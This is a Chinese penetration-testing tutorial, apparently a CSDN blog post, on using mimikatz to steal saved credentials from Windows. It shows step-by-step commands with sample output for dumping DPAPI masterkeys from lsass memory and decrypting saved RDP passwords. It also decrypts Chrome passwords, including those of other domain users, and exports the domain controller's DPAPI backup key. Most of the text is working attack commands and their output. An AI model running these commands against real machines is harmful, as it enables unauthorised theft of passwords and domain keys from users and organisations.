利用mimikatz查看rdp连接密码【渗透测试】

0x00 概述

在使用 rdp 时会发现系统有保存连接密码的功能,一定在本地以一种加密方式保存,在连接的时候解密进行rdp尝试,那么我们能不能那到加密的密码解密以获取这台机器rdp连接过的机器呢?

0x01 流程

“AppData\Local\Microsoft\Credentials\XXX”  -->> GUID(guidMasterKey)  -->> 通过 sekurlsa::dpapi 对比GUID拿到Masterkey -->> mimikatz 通过 “AppData\Local\Microsoft\Credentials\XXX” 和 masterkey 解密秘钥。

0x02 方法

首先使用cmdkey /list来查看是否有保存的凭据密码信息。可以保存rdp凭据,ssh凭据等连接凭据。

如果没有:

有些环境可能有很多的凭据信息:

例如:


当前保存的凭据:
  
    目标: Domain:target=TERMSRV/192.168.100.52
    类型: 域密码
    用户: admin
    本地机器持续时间
    
    目标: LegacyGeneric:target=Adobe User Info(Part2)
    类型: 普通 
    用户: User DT
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/172.16.1.246
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: Domain:target=TERMSRV/192.168.100.42
    类型: 域密码
    用户: admin
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.53
    类型: 普通 
    用户: lmrsec\tony
    本地机器持续时间
    
    目标: LegacyGeneric:target=Adobe User Info(Part1)
    类型: 普通 
    用户: User DT
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/192.168.100.45
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=Adobe User OS Info(Part1)
    类型: 普通 
    用户: User OS Info
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/172.16.1.134
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/192.168.100.46
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.54
    类型: 普通 
    用户: LMRSEC\lmr
    本地机器持续时间    
    
    目标: LegacyGeneric:target=TERMSRV/172.16.1.124
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.20.123
    类型: 普通 
    用户: pc
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.100
    类型: 普通 
    用户: lmrsec\tony
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.55
    类型: 普通 
    用户: LMRSEC\tony
    本地机器持续时间        
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.62
    类型: 普通 
    用户: MEC0\administrator
    本地机器持续时间        
    
    目标: Domain:target=192.168.1.94
    类型: 域密码
    用户: LEE-PC\admin
    
    目标: Domain:target=10.0.0.152
    类型: 域密码
    用户: LEE-PC\administrator    
    
    目标: LegacyGeneric:target=chia-user-chia-1.8
    类型: 普通 
    用户: wallet-user-chia-1.8-0    
    
    目标: Domain:target=PIG
    类型: 域密码
    用户: LEE-PC\admin
    

使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials 来查看保存凭据的目录和凭据的值

接下来就一个一个实验吧,因为这个下面是凭据的值,不一定哪一个是你要的,需要写工具批量查喽。

例如:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit >a.txt
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {fe6b8194-8763-4328-a189-23815ffc11bc}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据


  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 67ac51d78138d3bb51ed1c07b1bc17a7
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : 8f18a25d233beb6c1fb8985285fc14d7
  dwDataLen          : 00002a10 - 10768
  pbData             : f8499588628921158b20b343b3f887ece87192f1a6f0d00fd223f1b001fa55c6feeb......

记住 guidMasterKey   {fe6b8194-8763-4328-a189-23815ffc11bc}

mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt

在b.txt中找 {fe6b8194-8763-4328-a189-23815ffc11bc} 对应的MasterKey

Authentication Id : 0 ; 568702 (00000000:0008ad7e)
Session           : Interactive from 1
User Name         : administrator
Domain            : LMRSEC
Logon Server      : AD
Logon Time        : 2022/9/22 14:14:42
SID               : S-1-5-21-4175578073-168413485-1140492047-500
	 [00000000]
	 * GUID      :	{ef3e71aa-6279-4999-9c2d-cbb67f71eb3f}
	 * Time      :	2022/9/22 14:16:03
	 * MasterKey :	6a58ad5cfa0d10fb3fd8ea9647eace29481338b7bc23c6d485780be9a136276840e601be86c6d84586948f93d83bf4bc7c2063a51f74b91afd1c2b3eb1d28cf6
	 * sha1(key) :	e500f8e3977bac36b4eb56ebea93d222bd1e748c
	 [00000001]
	 * GUID      :	{fe6b8194-8763-4328-a189-23815ffc11bc}
	 * Time      :	2022/9/22 14:15:05
	 * MasterKey :	57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
	 * sha1(key) :	eb92f311be6e846c0ae0241a332dd28415048e0a
	 [00000002]
	 * GUID      :	{17a3b3a5-41f6-4809-adb4-20f255db4e2b}
	 * Time      :	2022/9/22 14:16:51
	 * MasterKey :	eacdf11ecd0a819bc619e378292a873d994313be95d8aa9bab5924df98f389d93274c2fc9f532afcfc0dca7b19e1d70aca65887a2e26ac1983f45dd555345825
	 * sha1(key) :	7c09ddedde899693c19e66b1e8b918beb42bb15f
mimikatz 读取密码:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0" exit>c.txt

UserName就是账户,CredentialBlob  字段值是解密后的密码,如果是空,就尝试 Credentials  目录下其他凭据的值。(毕竟渗透也是个苦力活...)

Decrypting Credential:
 * masterkey     : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 00002a0e - 10766
  credUnk0       : 00000000 - 0

  Type           : 00000001 - 1 - generic
  Flags          : 00000000 - 0
  LastWritten    : 2022/7/10 13:00:32
  unkFlagsOrSize : 00000000 - 0
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000020 - 32
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : WindowsLive:target=virtualapp/didlogical
  UnkData        : (null)
  Comment        : PersistedCredential
  TargetAlias    : (null)
  UserName       : 02qfntekitrt
  CredentialBlob : 
  Attributes     : 32
  **ATTRIBUTE**
    Flags   : 00000000 - 0
    Keyword : Microsoft_WindowsLive:authstate:0
    Value   : 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c......

实际渗透中可以将 Credentials目录和 lsass.exe 的内存文件保存到本地。

我一般会优先破解近期访问的连接。 例如,2022/09/22 13:41 这个近期的连接,我们尝试破解一下:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336" exit|findstr guidMasterKey" exit

 从刚刚导出的  sekurlsa::dpapi 查找 GUID 对应的 MasterKey:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336 /masterkey:5823ca8c268bb7b96a52c3cf21e3d47c453be443e1ed8acbeee4813785c030f9bb765447c6c4e8e735726871c57b5d361bcfa1507cedc0a11850995ab199843a" exit

 

进一步的,想知道windows保存了哪些凭据,那些没保存,使用命令:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

 如果没保存密码,结果如下:

如果保存了,如下:

导出windows密码技巧总结_渗透测试中心的博客-CSDN博客
 

0x03 破解浏览器凭据

其他凭据,如web浏览器凭据:

dir /a "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Login Data"

 都是用 dpapi 加密的。

解密本地浏览器凭据:

mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect

chrome 80以前是直接可以通过dpapi去解密的,80以后变成AES了,所以需要指定一下/encryptedkey参数,这个参数内容是在Chrome/User Data/Local State这个文件里,这是个json文件,搜里面的encrypted_key,这个参数就是加密的密钥,指定之后就可以成功解密保存的密码了

mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAcNoSWcBg/SJyGPdAHkODAAAAAAAIAAAAAAANmAADAAAAAEAAAAA7YX8gUf3+tiMFkL6W6I1gAAAAABIAAAKAAAAAQAAAALPfk2cUfKSaXWrBO+q1sTSgAAACTT3f5PFH6LsG0F+KFyPyYjzVwPar8ePO2I/Tgi3/SVNyx+XxlXi8eFAAAAC6DyST9L+EPyq4tGdXLOARW0dvW" exit

 如果你不满足于只接触当前lmr用户的浏览器凭据,也想拿域内其他机器的浏览器凭据,那么要满足几个条件:管理员权限,拿到2个文件 Local State + Login Data + masterkey

例如lmr用户想crack tony用户的浏览器凭据,需要拿到tony用户下的 Local State 和 Login Data 文件,分别在 "%localappdata%\Google\Chrome\User Data\Local State" 和 "%localappdata%\Google\Chrome\User Data\Default\Login Data"目录。

具体操作如下:

mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+" exit

 会提示去GUID找masterkey,GUID的生成导出上文已经介绍过了,具体命令是:

mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt

 找到 GUID: {e50897bb-0a4e-413c-89fd-140dcaaf6814} 对应的masterkey:

 再次crack:

mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+ /masterkey:4faab22310c7db06402aca7b8aef779dc67549da6c0aeb9ca0ffd052b1e58740b650ac4931551ba1aed78f11784735ac06d6989dbb33e297cab6294e9502479a" exit

 0x04 域内获取masterkey的其他思路

使用域备份密钥解密受害主机的主密钥

需要三步:

1. 导出域控pvk文件

mimikatz.exe "lsadump::backupkeys /system:AD /export" exit

 

** /system: 后面填写域控机器名,否则会找不到DC,报错,例如:

 微软的那个错误代码搜索源码错误位置:

 2.通过pvk得到GUID的masterkey (需要什么GUID就用谁的GUID去导出)

mimikatz.exe "dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4175578073-168413485-1140492047-500\8bb03b74-9c66-4a30-852c-b45d3c99bb79 /pvk:ntds_capi_0_9876a14a-13b0-49a3-b2c1-466e7432ea02.keyx.rsa.pvk" exit >a.txt

 在导出文件最后的key字段里:

 3.同上文0x03,使用mimikatz 破解rdp或浏览器凭据。

0x05 后记

试着导出了自己笔记本的浏览器凭据,竟然有50KB之多,可见自己之前的上网习惯是不太好的。

导出的文件一共1731行,前392行是含有凭据信息的,后面的保存了访问过的需要凭证的网站信息。

0x06 reference

https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz

使用 MimiKatz 读取 DPAPI 加密密钥的几种方式 - 先知社区   (上文翻译)

Mimikatz抓取密码分析 - hixiaoai - 博客园

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值